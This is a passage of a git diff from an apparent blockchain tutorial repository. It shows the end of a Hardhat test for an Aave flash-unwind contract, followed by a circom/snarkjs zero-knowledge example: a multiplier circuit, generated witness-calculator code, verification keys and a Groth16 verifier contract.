+        "0x2298207a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000f939e0a03fb07f59a73314e73794be0e57ac1b4e0000000000000000000000000000000000000000000000004b34d75f7609bc8a00000000000000000000000000000000000000000000043c33c193756480000000000000000000000000000000000000000000000000000049041434e9e6a82300000000000000000000000000000000000000000000000000000000000001e0000000000000000000000000000000000000000000000000000000000000022000000000000000000000000000000000000000000000000000000000000003a0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009abf798f5314bfd793a9e57a654bed35af4a1d600100000000000000000000000000000000000000000000000000000000031388000000000000000000000000000000000000000000000000000000000000044000000000000000000000000000000000000000000000000000000000664d137d13f832929125404185495983e42962ad000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000e592427a0aece92de3edee1f18e0157c058615640000000000000000000000000000000000000000000000000000000000000144f28c0498000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000def171fe48cf0115b1d80b88dc8eab59176fee57000000000000000000000000000000000000000000000000000000006655f99d00000000000000000000000000000000000000000000043c33c19375648000000000000000000000000000000000000000000000000000004b34d75f7609bc880000000000000000000000000000000000000000000000000000000000000042f939e0a03fb07f59a73314e73794be0e57ac1b4e0001f4a0b86991c6218b36c1d19d4a2e9eb0ce3606eb480001f4c02aaa39b223fe8d0a0e5c4f27ead9083c756cc200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000144000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
+      )
+
+      await expect(aaveApe['flashUnwind'](wethAddress, borrowAssetAddress, borrowAmount, interestRateMode, paraswapCalldata)).to.emit(aaveApe, 'Ape');
+
+      let aBalanceAfter = await aToken.balanceOf(userAddress)
+      let debtBalanceAfter = await debtToken.balanceOf(userAddress)
+
+      expect(aBalanceAfter < aBalanceBefore)
+      expect(debtBalanceAfter === 0)
+    })
+  })
+
+});
diff --git a/basic/22-zk-snarkjs/.gitignore b/basic/22-zk-snarkjs/.gitignore
new file mode 100644
index 000000000..bf1344229
--- /dev/null
+++ b/basic/22-zk-snarkjs/.gitignore
@@ -0,0 +1,17 @@
+
+# these files are outputs by circom compile
+circuit_cpp/
+circuit_js/
+circuit.circom
+circuit.r1cs
+circuit.sym
+circuit.json
+powersOfTau28_hez_final_10.ptau
+circuit_0000.zkey
+
+input.json
+witness.wtns
+witness.json
+proof.json
+proving_key.json
+*//multiplier2_cpp/
\ No newline at end of file
diff --git a/basic/22-zk-snarkjs/circom2/Multiplier2.circom b/basic/22-zk-snarkjs/circom2/Multiplier2.circom
new file mode 100644
index 000000000..de5387f20
--- /dev/null
+++ b/basic/22-zk-snarkjs/circom2/Multiplier2.circom
@@ -0,0 +1,16 @@
+pragma circom 2.0.0;
+
+/*This circuit template checks that c is the multiplication of a and b.*/  
+
+template Multiplier2 () {  
+
+   // Declaration of signals.  
+   signal input a;  
+   signal input b;  
+   signal output c;  
+
+   // Constraints.  
+   c <== a * b;  
+}
+
+component main = Multiplier2();
\ No newline at end of file
diff --git a/basic/22-zk-snarkjs/circom2/circuit_final.zkey b/basic/22-zk-snarkjs/circom2/circuit_final.zkey
new file mode 100644
index 000000000..89e471828
Binary files /dev/null and b/basic/22-zk-snarkjs/circom2/circuit_final.zkey differ
diff --git a/basic/22-zk-snarkjs/circom2/multiplier2.r1cs b/basic/22-zk-snarkjs/circom2/multiplier2.r1cs
new file mode 100644
index 000000000..e61b9b091
Binary files /dev/null and b/basic/22-zk-snarkjs/circom2/multiplier2.r1cs differ
diff --git a/basic/22-zk-snarkjs/circom2/multiplier2.r1cs.json b/basic/22-zk-snarkjs/circom2/multiplier2.r1cs.json
new file mode 100644
index 000000000..959be3988
--- /dev/null
+++ b/basic/22-zk-snarkjs/circom2/multiplier2.r1cs.json
@@ -0,0 +1,34 @@
+{
+ "n8": 32,
+ "prime": "21888242871839275222246405745257275088548364400416034343698204186575808495617",
+ "nVars": 4,
+ "nOutputs": 1,
+ "nPubInputs": 0,
+ "nPrvInputs": 2,
+ "nLabels": 4,
+ "nConstraints": 1,
+ "useCustomGates": false,
+ "constraints": [
+  [
+   {
+    "2": "21888242871839275222246405745257275088548364400416034343698204186575808495616"
+   },
+   {
+    "3": "1"
+   },
+   {
+    "1": "21888242871839275222246405745257275088548364400416034343698204186575808495616"
+   }
+  ]
+ ],
+ "map": [
+  0,
+  1,
+  2,
+  3
+ ],
+ "customGates": [
+ ],
+ "customGatesUses": [
+ ]
+}
\ No newline at end of file
diff --git a/basic/22-zk-snarkjs/circom2/multiplier2.sym b/basic/22-zk-snarkjs/circom2/multiplier2.sym
new file mode 100644
index 000000000..9432aa87a
--- /dev/null
+++ b/basic/22-zk-snarkjs/circom2/multiplier2.sym
@@ -0,0 +1,3 @@
+1,1,0,main.c
+2,2,0,main.a
+3,3,0,main.b
diff --git a/basic/22-zk-snarkjs/circom2/multiplier2_0000.zkey b/basic/22-zk-snarkjs/circom2/multiplier2_0000.zkey
new file mode 100644
index 000000000..6bf9abad0
Binary files /dev/null and b/basic/22-zk-snarkjs/circom2/multiplier2_0000.zkey differ
diff --git a/basic/22-zk-snarkjs/circom2/multiplier2_0001.zkey b/basic/22-zk-snarkjs/circom2/multiplier2_0001.zkey
new file mode 100644
index 000000000..b8800ab1b
Binary files /dev/null and b/basic/22-zk-snarkjs/circom2/multiplier2_0001.zkey differ
diff --git a/basic/22-zk-snarkjs/circom2/multiplier2_js/generate_witness.js b/basic/22-zk-snarkjs/circom2/multiplier2_js/generate_witness.js
new file mode 100644
index 000000000..eabb86e58
--- /dev/null
+++ b/basic/22-zk-snarkjs/circom2/multiplier2_js/generate_witness.js
@@ -0,0 +1,20 @@
+const wc  = require("./witness_calculator.js");
+const { readFileSync, writeFile } = require("fs");
+
+if (process.argv.length != 5) {
+    console.log("Usage: node generate_witness.js <file.wasm> <input.json> <output.wtns>");
+} else {
+    const input = JSON.parse(readFileSync(process.argv[3], "utf8"));
+    
+    const buffer = readFileSync(process.argv[2]);
+    wc(buffer).then(async witnessCalculator => {
+	//    const w= await witnessCalculator.calculateWitness(input,0);
+	//    for (let i=0; i< w.length; i++){
+	//	console.log(w[i]);
+	//    }
+	const buff= await witnessCalculator.calculateWTNSBin(input,0);
+	writeFile(process.argv[4], buff, function(err) {
+	    if (err) throw err;
+	});
+    });
+}
diff --git a/basic/22-zk-snarkjs/circom2/multiplier2_js/multiplier2.wasm b/basic/22-zk-snarkjs/circom2/multiplier2_js/multiplier2.wasm
new file mode 100644
index 000000000..c8cecba52
Binary files /dev/null and b/basic/22-zk-snarkjs/circom2/multiplier2_js/multiplier2.wasm differ
diff --git a/basic/22-zk-snarkjs/circom2/multiplier2_js/witness_calculator.js b/basic/22-zk-snarkjs/circom2/multiplier2_js/witness_calculator.js
new file mode 100644
index 000000000..20e6e20ad
--- /dev/null
+++ b/basic/22-zk-snarkjs/circom2/multiplier2_js/witness_calculator.js
@@ -0,0 +1,337 @@
+module.exports = async function builder(code, options) {
+
+    options = options || {};
+
+    let wasmModule;
+    try {
+	wasmModule = await WebAssembly.compile(code);
+    }  catch (err) {
+	console.log(err);
+	console.log("\nTry to run circom --c in order to generate c++ code instead\n");
+	throw new Error(err);
+    }
+
+    let wc;
+
+    let errStr = "";
+    let msgStr = "";
+    
+    const instance = await WebAssembly.instantiate(wasmModule, {
+        runtime: {
+            exceptionHandler : function(code) {
+		let err;
+                if (code == 1) {
+                    err = "Signal not found.\n";
+                } else if (code == 2) {
+                    err = "Too many signals set.\n";
+                } else if (code == 3) {
+                    err = "Signal already set.\n";
+		} else if (code == 4) {
+                    err = "Assert Failed.\n";
+		} else if (code == 5) {
+                    err = "Not enough memory.\n";
+		} else if (code == 6) {
+                    err = "Input signal array access exceeds the size.\n";
+		} else {
+		    err = "Unknown error.\n";
+                }
+                throw new Error(err + errStr);
+            },
+	    printErrorMessage : function() {
+		errStr += getMessage() + "\n";
+                // console.error(getMessage());
+	    },
+	    writeBufferMessage : function() {
+			const msg = getMessage();
+			// Any calls to `log()` will always end with a `\n`, so that's when we print and reset
+			if (msg === "\n") {
+				console.log(msgStr);
+				msgStr = "";
+			} else {
+				// If we've buffered other content, put a space in between the items
+				if (msgStr !== "") {
+					msgStr += " "
+				}
+				// Then append the message to the message we are creating
+				msgStr += msg;
+			}
+	    },
+	    showSharedRWMemory : function() {
+		printSharedRWMemory ();
+            }
+
+        }
+    });
+
+    const sanityCheck =
+        options
+//        options &&
+//        (
+//            options.sanityCheck ||
+//            options.logGetSignal ||
+//            options.logSetSignal ||
+//            options.logStartComponent ||
+//            options.logFinishComponent
+//        );
+
+    
+    wc = new WitnessCalculator(instance, sanityCheck);
+    return wc;
+
+    function getMessage() {
+        var message = "";
+	var c = instance.exports.getMessageChar();
+        while ( c != 0 ) {
+	    message += String.fromCharCode(c);
+	    c = instance.exports.getMessageChar();
+	}
+        return message;
+    }
+	
+    function printSharedRWMemory () {
+	const shared_rw_memory_size = instance.exports.getFieldNumLen32();
+	const arr = new Uint32Array(shared_rw_memory_size);
+	for (let j=0; j<shared_rw_memory_size; j++) {
+	    arr[shared_rw_memory_size-1-j] = instance.exports.readSharedRWMemory(j);
+	}
+
+	// If we've buffered other content, put a space in between the items
+	if (msgStr !== "") {
+		msgStr += " "
+	}
+	// Then append the value to the message we are creating
+	msgStr += (fromArray32(arr).toString());
+	}
+
+};
+
+class WitnessCalculator {
+    constructor(instance, sanityCheck) {
+        this.instance = instance;
+
+	this.version = this.instance.exports.getVersion();
+        this.n32 = this.instance.exports.getFieldNumLen32();
+
+        this.instance.exports.getRawPrime();
+        const arr = new Uint32Array(this.n32);
+        for (let i=0; i<this.n32; i++) {
+            arr[this.n32-1-i] = this.instance.exports.readSharedRWMemory(i);
+        }
+        this.prime = fromArray32(arr);
+
+        this.witnessSize = this.instance.exports.getWitnessSize();
+
+        this.sanityCheck = sanityCheck;
+    }
+    
+    circom_version() {
+	return this.instance.exports.getVersion();
+    }
+
+    async _doCalculateWitness(input, sanityCheck) {
+	//input is assumed to be a map from signals to arrays of bigints
+        this.instance.exports.init((this.sanityCheck || sanityCheck) ? 1 : 0);
+        const keys = Object.keys(input);
+	var input_counter = 0;
+        keys.forEach( (k) => {
+            const h = fnvHash(k);
+            const hMSB = parseInt(h.slice(0,8), 16);
+            const hLSB = parseInt(h.slice(8,16), 16);
+            const fArr = flatArray(input[k]);
+	    let signalSize = this.instance.exports.getInputSignalSize(hMSB, hLSB);
+	    if (signalSize < 0){
+		throw new Error(`Signal ${k} not found\n`);
+	    }
+	    if (fArr.length < signalSize) {
+		throw new Error(`Not enough values for input signal ${k}\n`);
+	    }
+	    if (fArr.length > signalSize) {
+		throw new Error(`Too many values for input signal ${k}\n`);
+	    }
+            for (let i=0; i<fArr.length; i++) {
+                const arrFr = toArray32(normalize(fArr[i],this.prime),this.n32)
+                for (let j=0; j<this.n32; j++) {
+		    this.instance.exports.writeSharedRWMemory(j,arrFr[this.n32-1-j]);
+		}
+		try {
+                    this.instance.exports.setInputSignal(hMSB, hLSB,i);
+		    input_counter++;
+		} catch (err) {
+		    // console.log(`After adding signal ${i} of ${k}`)
+                    throw new Error(err);
+		}
+            }
+
+        });
+	if (input_counter < this.instance.exports.getInputSize()) {
+	    throw new Error(`Not all inputs have been set. Only ${input_counter} out of ${this.instance.exports.getInputSize()}`);
+	}
+    }
+
+    async calculateWitness(input, sanityCheck) {
+
+        const w = [];
+
+        await this._doCalculateWitness(input, sanityCheck);
+
+        for (let i=0; i<this.witnessSize; i++) {
+            this.instance.exports.getWitness(i);
+	    const arr = new Uint32Array(this.n32);
+            for (let j=0; j<this.n32; j++) {
+            arr[this.n32-1-j] = this.instance.exports.readSharedRWMemory(j);
+            }
+            w.push(fromArray32(arr));
+        }
+
+        return w;
+    }
+    
+
+    async calculateBinWitness(input, sanityCheck) {
+
+        const buff32 = new Uint32Array(this.witnessSize*this.n32);
+	const buff = new  Uint8Array( buff32.buffer);
+        await this._doCalculateWitness(input, sanityCheck);
+
+        for (let i=0; i<this.witnessSize; i++) {
+            this.instance.exports.getWitness(i);
+	    const pos = i*this.n32;
+            for (let j=0; j<this.n32; j++) {
+		buff32[pos+j] = this.instance.exports.readSharedRWMemory(j);
+            }
+        }
+
+	return buff;
+    }
+    
+
+    async calculateWTNSBin(input, sanityCheck) {
+
+        const buff32 = new Uint32Array(this.witnessSize*this.n32+this.n32+11);
+	const buff = new  Uint8Array( buff32.buffer);
+        await this._doCalculateWitness(input, sanityCheck);
+  
+	//"wtns"
+	buff[0] = "w".charCodeAt(0)
+	buff[1] = "t".charCodeAt(0)
+	buff[2] = "n".charCodeAt(0)
+	buff[3] = "s".charCodeAt(0)
+
+	//version 2
+	buff32[1] = 2;
+
+	//number of sections: 2
+	buff32[2] = 2;
+
+	//id section 1
+	buff32[3] = 1;
+
+	const n8 = this.n32*4;
+	//id section 1 length in 64bytes
+	const idSection1length = 8 + n8;
+	const idSection1lengthHex = idSection1length.toString(16);
+        buff32[4] = parseInt(idSection1lengthHex.slice(0,8), 16);
+        buff32[5] = parseInt(idSection1lengthHex.slice(8,16), 16);
+
+	//this.n32
+	buff32[6] = n8;
+
+	//prime number
+	this.instance.exports.getRawPrime();
+
+	var pos = 7;
+        for (let j=0; j<this.n32; j++) {
+	    buff32[pos+j] = this.instance.exports.readSharedRWMemory(j);
+        }
+	pos += this.n32;
+
+	// witness size
+	buff32[pos] = this.witnessSize;
+	pos++;
+
+	//id section 2
+	buff32[pos] = 2;
+	pos++;
+
+	// section 2 length
+	const idSection2length = n8*this.witnessSize;
+	const idSection2lengthHex = idSection2length.toString(16);
+        buff32[pos] = parseInt(idSection2lengthHex.slice(0,8), 16);
+        buff32[pos+1] = parseInt(idSection2lengthHex.slice(8,16), 16);
+
+	pos += 2;
+        for (let i=0; i<this.witnessSize; i++) {
+            this.instance.exports.getWitness(i);
+            for (let j=0; j<this.n32; j++) {
+		buff32[pos+j] = this.instance.exports.readSharedRWMemory(j);
+            }
+	    pos += this.n32;
+        }
+
+	return buff;
+    }
+
+}
+
+
+function toArray32(rem,size) {
+    const res = []; //new Uint32Array(size); //has no unshift
+    const radix = BigInt(0x100000000);
+    while (rem) {
+        res.unshift( Number(rem % radix));
+        rem = rem / radix;
+    }
+    if (size) {
+	var i = size - res.length;
+	while (i>0) {
+	    res.unshift(0);
+	    i--;
+	}
+    }
+    return res;
+}
+
+function fromArray32(arr) { //returns a BigInt
+    var res = BigInt(0);
+    const radix = BigInt(0x100000000);
+    for (let i = 0; i<arr.length; i++) {
+        res = res*radix + BigInt(arr[i]);
+    }
+    return res;
+}
+
+function flatArray(a) {
+    var res = [];
+    fillArray(res, a);
+    return res;
+
+    function fillArray(res, a) {
+        if (Array.isArray(a)) {
+            for (let i=0; i<a.length; i++) {
+                fillArray(res, a[i]);
+            }
+        } else {
+            res.push(a);
+        }
+    }
+}
+
+function normalize(n, prime) {
+    let res = BigInt(n) % prime
+    if (res < 0) res += prime
+    return res
+}
+
+function fnvHash(str) {
+    const uint64_max = BigInt(2) ** BigInt(64);
+    let hash = BigInt("0xCBF29CE484222325");
+    for (var i = 0; i < str.length; i++) {
+	hash ^= BigInt(str[i].charCodeAt());
+	hash *= BigInt(0x100000001B3);
+	hash %= uint64_max;
+    }
+    let shash = hash.toString(16);
+    let n = 16 - shash.length;
+    shash = '0'.repeat(n).concat(shash);
+    return shash;
+}
diff --git a/basic/22-zk-snarkjs/circom2/plonk/verification_key.json b/basic/22-zk-snarkjs/circom2/plonk/verification_key.json
new file mode 100644
index 000000000..a8d507c78
--- /dev/null
+++ b/basic/22-zk-snarkjs/circom2/plonk/verification_key.json
@@ -0,0 +1,94 @@
+{
+ "protocol": "groth16",
+ "curve": "bn128",
+ "nPublic": 1,
+ "vk_alpha_1": [
+  "5253868672545201124648698677088289555142021129357716645696773054382726861037",
+  "16767295459177503158737273790991340982009586210896243194337350327655975298969",
+  "1"
+ ],
+ "vk_beta_2": [
+  [
+   "13020819549771277211610313769058699131150885822436659242252693902346979949689",
+   "1517177208055623231036383643157791737914004038543285091176976763810633516024"
+  ],
+  [
+   "14093737879491093671247320146695948607359517051041418927268729764932906538891",
+   "7307514811841853286384695995993737967931697761470244287285024542422346434107"
+  ],
+  [
+   "1",
+   "0"
+  ]
+ ],
+ "vk_gamma_2": [
+  [
+   "10857046999023057135944570762232829481370756359578518086990519993285655852781",
+   "11559732032986387107991004021392285783925812861821192530917403151452391805634"
+  ],
+  [
+   "8495653923123431417604973247489272438418190587263600148770280649306958101930",
+   "4082367875863433681332203403145435568316851327593401208105741076214120093531"
+  ],
+  [
+   "1",
+   "0"
+  ]
+ ],
+ "vk_delta_2": [
+  [
+   "4388367894020072747245833611639303477786255804865803676095639566942415152421",
+   "3068521436480821370597636270305818368787362657628357104531391290259323356873"
+  ],
+  [
+   "20488555401460498307150365361877239532200986507036709879609922659129974700879",
+   "149614604007101980574802460526087370915479140660998551971860879828324825493"
+  ],
+  [
+   "1",
+   "0"
+  ]
+ ],
+ "vk_alphabeta_12": [
+  [
+   [
+    "13133565274151272560769280276735397184229165569289151475227442865674151057530",
+    "11213949567544027095593052391429014997969548036256331191197697145742334793949"
+   ],
+   [
+    "17288419249752856538683942545171912610864491293673116122817020145812982000589",
+    "12860456781133546755029165805563367003579499028789723572803112180306376088756"
+   ],
+   [
+    "11045624061092172240342207572417674984148923115447012344025325452815172669855",
+    "9543066913890842499751035412074041018653274919231952998225938865053309179704"
+   ]
+  ],
+  [
+   [
+    "17470391958921670350963645621832701731207895189103842718122416946914558519022",
+    "14431196000521955095883251577646021807199272255788007862541233693361585566445"
+   ],
+   [
+    "12904285926993215311132073871203353090645039531068617554663514572954237422526",
+    "12166126590120398910749749067405740642942750919534653546065915144891398240881"
+   ],
+   [
+    "9850273007738731858781653886585348995679822339531398050476742583531169330754",
+    "16434874283757837682284428287033035801944461026350170298947455458462149715354"
+   ]
+  ]
+ ],
+ "IC": [
+  [
+   "20051042181581545479939447722357565201638036042374374239908364633108925846952",
+   "19036623794848954414824512606821531123311848022955437018241695756043257614093",
+   "1"
+  ],
+  [
+   "16305314406124537814345102825906381211799744194477046235563220479013565680400",
+   "8339568598412892344378130691157116347853089604043378402456574632391806900354",
+   "1"
+  ]
+ ]
+}
\ No newline at end of file
diff --git a/basic/22-zk-snarkjs/circom2/plonk/verifier.sol b/basic/22-zk-snarkjs/circom2/plonk/verifier.sol
new file mode 100644
index 000000000..6b3f707a1
--- /dev/null
+++ b/basic/22-zk-snarkjs/circom2/plonk/verifier.sol
@@ -0,0 +1,170 @@
+// SPDX-License-Identifier: GPL-3.0
+/*
+    Copyright 2021 0KIMS association.
+
+    This file is generated with [snarkJS](https://github.com/iden3/snarkjs).
+
+    snarkJS is a free software: you can redistribute it and/or modify it
+    under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    snarkJS is distributed in the hope that it will be useful, but WITHOUT
+    ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
+    or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public
+    License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with snarkJS. If not, see <https://www.gnu.org/licenses/>.
+*/
+
+pragma solidity >=0.7.0 <0.9.0;
+
+contract Groth16Verifier {
+    // Scalar field size
+    uint256 constant r    = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
+    // Base field size
+    uint256 constant q   = 21888242871839275222246405745257275088696311157297823662689037894645226208583;
+
+    // Verification Key data
+    uint256 constant alphax  = 5253868672545201124648698677088289555142021129357716645696773054382726861037;
+    uint256 constant alphay  = 16767295459177503158737273790991340982009586210896243194337350327655975298969;
+    uint256 constant betax1  = 1517177208055623231036383643157791737914004038543285091176976763810633516024;
+    uint256 constant betax2  = 13020819549771277211610313769058699131150885822436659242252693902346979949689;
+    uint256 constant betay1  = 7307514811841853286384695995993737967931697761470244287285024542422346434107;
+    uint256 constant betay2  = 14093737879491093671247320146695948607359517051041418927268729764932906538891;
+    uint256 constant gammax1 = 11559732032986387107991004021392285783925812861821192530917403151452391805634;
+    uint256 constant gammax2 = 10857046999023057135944570762232829481370756359578518086990519993285655852781;
+    uint256 constant gammay1 = 4082367875863433681332203403145435568316851327593401208105741076214120093531;
+    uint256 constant gammay2 = 8495653923123431417604973247489272438418190587263600148770280649306958101930;
+    uint256 constant deltax1 = 3068521436480821370597636270305818368787362657628357104531391290259323356873;
+    uint256 constant deltax2 = 4388367894020072747245833611639303477786255804865803676095639566942415152421;
+    uint256 constant deltay1 = 149614604007101980574802460526087370915479140660998551971860879828324825493;
+    uint256 constant deltay2 = 20488555401460498307150365361877239532200986507036709879609922659129974700879;
+
+    
+    uint256 constant IC0x = 20051042181581545479939447722357565201638036042374374239908364633108925846952;
+    uint256 constant IC0y = 19036623794848954414824512606821531123311848022955437018241695756043257614093;
+    
+    uint256 constant IC1x = 16305314406124537814345102825906381211799744194477046235563220479013565680400;
+    uint256 constant IC1y = 8339568598412892344378130691157116347853089604043378402456574632391806900354;
+    
+ 
+    // Memory data
+    uint16 constant pVk = 0;
+    uint16 constant pPairing = 128;
+
+    uint16 constant pLastMem = 896;
+
+    function verifyProof(uint[2] calldata _pA, uint[2][2] calldata _pB, uint[2] calldata _pC, uint[1] calldata _pubSignals) public view returns (bool) {
+        assembly {
+            function checkField(v) {
+                if iszero(lt(v, q)) {
+                    mstore(0, 0)
+                    return(0, 0x20)
+                }
+            }
+            
+            // G1 function to multiply a G1 value(x,y) to value in an address
+            function g1_mulAccC(pR, x, y, s) {
+                let success
+                let mIn := mload(0x40)
+                mstore(mIn, x)
+                mstore(add(mIn, 32), y)
+                mstore(add(mIn, 64), s)
+
+                success := staticcall(sub(gas(), 2000), 7, mIn, 96, mIn, 64)
+
+                if iszero(success) {
+                    mstore(0, 0)
+                    return(0, 0x20)
+                }
+
+                mstore(add(mIn, 64), mload(pR))
+                mstore(add(mIn, 96), mload(add(pR, 32)))
+
+                success := staticcall(sub(gas(), 2000), 6, mIn, 128, pR, 64)
+
+                if iszero(success) {
+                    mstore(0, 0)
+                    return(0, 0x20)
+                }
+            }
+
+            function checkPairing(pA, pB, pC, pubSignals, pMem) -> isOk {
+                let _pPairing := add(pMem, pPairing)
+                let _pVk := add(pMem, pVk)
+
+                mstore(_pVk, IC0x)
+                mstore(add(_pVk, 32), IC0y)
+
+                // Compute the linear combination vk_x
+                
+                g1_mulAccC(_pVk, IC1x, IC1y, calldataload(add(pubSignals, 0)))
+                
+
+                // -A
+                mstore(_pPairing, calldataload(pA))
+                mstore(add(_pPairing, 32), mod(sub(q, calldataload(add(pA, 32))), q))
+
+                // B
+                mstore(add(_pPairing, 64), calldataload(pB))
+                mstore(add(_pPairing, 96), calldataload(add(pB, 32)))
+                mstore(add(_pPairing, 128), calldataload(add(pB, 64)))
+                mstore(add(_pPairing, 160), calldataload(add(pB, 96)))
+
+                // alpha1
+                mstore(add(_pPairing, 192), alphax)
+                mstore(add(_pPairing, 224), alphay)
+
+                // beta2
+                mstore(add(_pPairing, 256), betax1)
+                mstore(add(_pPairing, 288), betax2)
+                mstore(add(_pPairing, 320), betay1)
+                mstore(add(_pPairing, 352), betay2)
+
+                // vk_x
+                mstore(add(_pPairing, 384), mload(add(pMem, pVk)))
+                mstore(add(_pPairing, 416), mload(add(pMem, add(pVk, 32))))
+
+
+                // gamma2
+                mstore(add(_pPairing, 448), gammax1)
+                mstore(add(_pPairing, 480), gammax2)
+                mstore(add(_pPairing, 512), gammay1)
+                mstore(add(_pPairing, 544), gammay2)
+
+                // C
+                mstore(add(_pPairing, 576), calldataload(pC))
+                mstore(add(_pPairing, 608), calldataload(add(pC, 32)))
+
+                // delta2
+                mstore(add(_pPairing, 640), deltax1)
+                mstore(add(_pPairing, 672), deltax2)
+                mstore(add(_pPairing, 704), deltay1)
+                mstore(add(_pPairing, 736), deltay2)
+
+
+                let success := staticcall(sub(gas(), 2000), 8, _pPairing, 768, _pPairing, 0x20)
+
+                isOk := and(success, mload(_pPairing))
+            }
+
+            let pMem := mload(0x40)
+            mstore(0x40, add(pMem, pLastMem))
+
+            // Validate that all evaluations ∈ F
+            
+            checkField(calldataload(add(_pubSignals, 0)))
+            
+            checkField(calldataload(add(_pubSignals, 32)))
+            
+
+            // Validate all evaluations
+            let isValid := checkPairing(_pA, _pB, _pC, _pubSignals, pMem)
+
+            mstore(0, isValid)
+             return(0, 0x20)
+         }
+     }
+ }
diff --git a/basic/22-zk-snarkjs/circom2/pot12_0000.ptau b/basic/22-zk-snarkjs/circom2/pot12_0000.ptau
new file mode 100644
index 000000000..d1fc4fa87
Binary files /dev/null and b/basic/22-zk-snarkjs/circom2/pot12_0000.ptau differ
diff --git a/basic/22-zk-snarkjs/circom2/pot12_0001.ptau b/basic/22-zk-snarkjs/circom2/pot12_0001.ptau
new file mode 100644
index 000000000..647a59ddc
Binary files /dev/null and b/basic/22-zk-snarkjs/circom2/pot12_0001.ptau differ
diff --git a/basic/22-zk-snarkjs/circom2/pot12_final.ptau b/basic/22-zk-snarkjs/circom2/pot12_final.ptau
new file mode 100644
index 000000000..ce86049f8
Binary files /dev/null and b/basic/22-zk-snarkjs/circom2/pot12_final.ptau differ
diff --git a/basic/22-zk-snarkjs/circom2/public.json b/basic/22-zk-snarkjs/circom2/public.json
new file mode 100644
index 000000000..bf2030970
--- /dev/null
+++ b/basic/22-zk-snarkjs/circom2/public.json
@@ -0,0 +1,3 @@
+[
+ "33"
+]
\ No newline at end of file
diff --git a/basic/22-zk-snarkjs/circom2/readme.md b/basic/22-zk-snarkjs/circom2/readme.md
new file mode 100644
index 000000000..8793fbaf1
--- /dev/null
+++ b/basic/22-zk-snarkjs/circom2/readme.md
@@ -0,0 +1,23 @@
+# circom2
+
+
+## circom 语法
+
+  1. <-- assigns a value to a signal without adding a constraint.
+  2. Whereas === adds a constraint without assigning a value.
+  3. <== both assigns a value to a signal and adds a contraint。Which means it’s just the combination of === and <--.
+
+## 参考资料
+
+- 创建第一个零知识 snark 电路: <https://learnblockchain.cn/article/1078>
+- 参考文档：<https://blog.iden3.io/first-zk-proof.html>
+- circom2 doc: <https://docs.circom.io/circom-language/basic-operators/>
+- snarkjs: <https://github.com/iden3/snarkjs>
+- 深入浅出零知识证明之 zk-SNARKs： <https://www.yuque.com/u428635/scg32w/edmn74>
+- ZK Jargon Decoder: <https://nmohnblatt.github.io/zk-jargon-decoder/foreword.html>
+- CTN rollup 分享：<https://www.bilibili.com/video/BV1oL4y1h7iE?p=1&share_medium=android&share_plat=android&share_session_id=9d2f7c31-a4dc-46a5-a2d9-4d6d0ebc3997&share_source=WEIXIN&share_tag=s_i&timestamp=1653798331&unique_k=921Lj1L&vd_source=3c62940e414c68a7f639c5737b9fd3d1>
+- zkRollup tutorial: <https://keen-noyce-c29dfa.netlify.app/#16>
+- 零知识证明的可信设置是否值得担心?: <https://www.sohu.com/a/468233201_100105055>
+- Diving into the zk-SNARKs Setup Phase: <https://medium.com/qed-it/diving-into-the-snarks-setup-phase-b7660242a0d7>
+- scaffold-eth-zk: <https://github.com/scaffold-eth/scaffold-eth-examples/tree/zk-voting-example>
+- online circom editor: https://zkrepl.dev/
\ No newline at end of file
diff --git a/basic/22-zk-snarkjs/circom2/verification_key.json b/basic/22-zk-snarkjs/circom2/verification_key.json
new file mode 100644
index 000000000..e6bbc2ca9
--- /dev/null
+++ b/basic/22-zk-snarkjs/circom2/verification_key.json
@@ -0,0 +1,63 @@
+{
+ "protocol": "plonk",
+ "curve": "bn128",
+ "nPublic": 1,
+ "power": 3,
+ "k1": "2",
+ "k2": "3",
+ "Qm": [
+  "6699088001123109952183962588223396229634400680774617861482376109866173590415",
+  "10472862863404696730237000817687961982481823937409036496392612294007500191870",
+  "1"
+ ],
+ "Ql": [
+  "7653042754748282460925155674115802066186740095112438098089677730825851742561",
+  "3881489376554609598818401640548973087844286524086744140689566043079220234653",
+  "1"
+ ],
+ "Qr": [
+  "0",
+  "1",
+  "0"
+ ],
+ "Qo": [
+  "6699088001123109952183962588223396229634400680774617861482376109866173590415",
+  "11415380008434578492009404927569313106214487219888787166296425600637726016713",
+  "1"
+ ],
+ "Qc": [
+  "0",
+  "1",
+  "0"
+ ],
+ "S1": [
+  "12595984855861242061649666268418958443285151063605611873146794297408558416836",
+  "13705084462179478240736413689935073047312759999024126566597654725029421808009",
+  "1"
+ ],
+ "S2": [
+  "16285909367754550288358159035997699094368387144009879119019270648519999440116",
+  "1295729502968671379118165227997341875919978495457150719822893621307947271783",
+  "1"
+ ],
+ "S3": [
+  "14606951403545053284258360588318930654368768246829249183502572774985607977923",
+  "9505097472223332796829678678148885853274639253871716812065493604196418738384",
+  "1"
+ ],
+ "X_2": [
+  [
+   "18935944361004143412805704977309399715739170487629982915447996963383767772739",
+   "6811002817459883196920556250750369153193187180198975763660544368610033000117"
+  ],
+  [
+   "21721768279008477101272404552028427623562871621192112392566662061814769383663",
+   "20846124843981009602488447623630715579517110693802445484941301159200541614978"
+  ],
+  [
+   "1",
+   "0"
+  ]
+ ],
+ "w": "19540430494807482326159819597004422086093766032135589407132600596362845576832"
+}
\ No newline at end of file
diff --git a/basic/22-zk-snarkjs/circom2/verifier.sol b/basic/22-zk-snarkjs/circom2/verifier.sol
new file mode 100644
index 000000000..f574cd14d
--- /dev/null
+++ b/basic/22-zk-snarkjs/circom2/verifier.sol
